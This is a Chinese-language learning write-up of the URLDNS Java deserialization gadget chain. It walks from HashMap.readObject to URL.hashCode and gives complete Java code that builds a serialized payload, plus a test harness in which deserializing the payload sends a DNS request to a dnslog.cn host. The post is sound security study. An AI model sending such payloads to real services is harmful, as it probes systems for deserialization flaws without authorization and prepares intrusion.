URLDNS反序列化利用链

前言

ysoserial中利用到的类,是为了更好的兼容性,但是我用的1.7的环境中不存在

SilentURLStreamHandler类,所以这里就写一个我这个环境的利用链,意义不大,重在参与学习

当然,你也可以逆推或者正向分析都无所谓

我这就反着来了

利用链分析

触发点->入口点

触发点是URLStreamHandler抽象类的hashCode方法

此方法需要一个URL类的参数

getHostAddress中触发DNS请求

在这里插入图片描述

全局搜索,其实java中由于参数类型的限定,所以何种this.a类型的调用并不是很好用

如果一个object.hashCode(this.a),无法保证this.a继承自URL,所以直接干脆定位到URL

ALT + SHIFT + F 全局搜索

在这里插入图片描述

这里的this一定代表着URL这个类的实例

接下来需要一个任意调用hashCode,无传参的地方

被调用的这个类一定要完全可控

HashMap中存在一个hash方法

在这里插入图片描述

ALT + F7查看此方法的调用

发现在putForCreate方法中存在调用

在这里插入图片描述

继续查找此方法的调用

在这里插入图片描述

发现在hashMap类的readObject方法中存在调用

那么现在就是这个key的问题

Map就是存储键值对,而这个键值对我们可以设置,就是说,keyvalue都可控

这是后还有一个问题,就是最后的触发点是在URLStreamHandler,所以我们要选择下面这个URL的构造方法

在这里插入图片描述

那么我们需要一个URLStreamHandler类的实例

进入URLStreamHandler

ALT + H查看继承关系

在这里插入图片描述

可以随便选择一个

POC构造

选择Dnslog,随便申请一个

1
2
3
4
5
6
7
8
9
10
11
12
13
public class Urldns {
public static void main(String[] args) throws Exception{
String url = "http://z9d1u7.dnslog.cn";
URLStreamHandler handler = new Handler();
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);
FileOutputStream fos = new FileOutputStream("object.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(ht);
oos.close();
}
}

但是这个样子写的化存在一个问题就是,在ht.put的时候就会直接触发hash方法,导致dns请求的发生

在这里插入图片描述

而这里触发的地方是在我们本地

具体原因是在

在这里插入图片描述

当不等于-1的时候就会触发dns请求,而请求完成之后覆盖了原来的hashCode值,所以在反序列化的时候导致直接return,无法触发请求

默认值为-1

在这里插入图片描述

原来就是通过SilentURLStreamHandlergetHostAddress返回一个null

1
2
3
4
5
6
7
8
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

再通过其他一系列后续构造,让其在第二次调用的是URLStreamHandler的方法

但是这里学习另外一种,简单一些,第一次其实触不触发无所谓,最终要的是保证第二次触发

由于hashCode为私有的成员属性

所以通过反射来设置

1
2
3
4
5
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);//改变作用域
f.set(url,100); // 设置hashcode的值为不等于-1
ht.put(u, url);
f.set(url,-1);//在put完成之后重新设置回来

最后的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import sun.net.www.protocol.http.Handler;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.lang.reflect.Field;
import java.net.URLStreamHandler;
import java.util.HashMap;

public class Urldns {
public static void main(String[] args) throws Exception{
String url = "http://hmjzxp.dnslog.cn";
URLStreamHandler handler = new Handler();
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);//改变作用域
f.set(u,100); // 设置hashcode的值为不等于-1
ht.put(u, 100);
f.set(u,-1);//在put完成之后重新设置回来
FileOutputStream fos = new FileOutputStream("object.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(ht);
oos.close();

}
}

复现

测试代码

1
2
3
4
5
6
7
8
9
10
11
import java.io.*;

public class DeSerImp {
public static void main(String[] args) throws Exception{
FileInputStream fis = new FileInputStream("object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Object deSerObj = ois.readObject();
ois.close();
fis.close();
}
}

成功收到dns请求

在这里插入图片描述

end

这个确实简单,刚开始就该学这种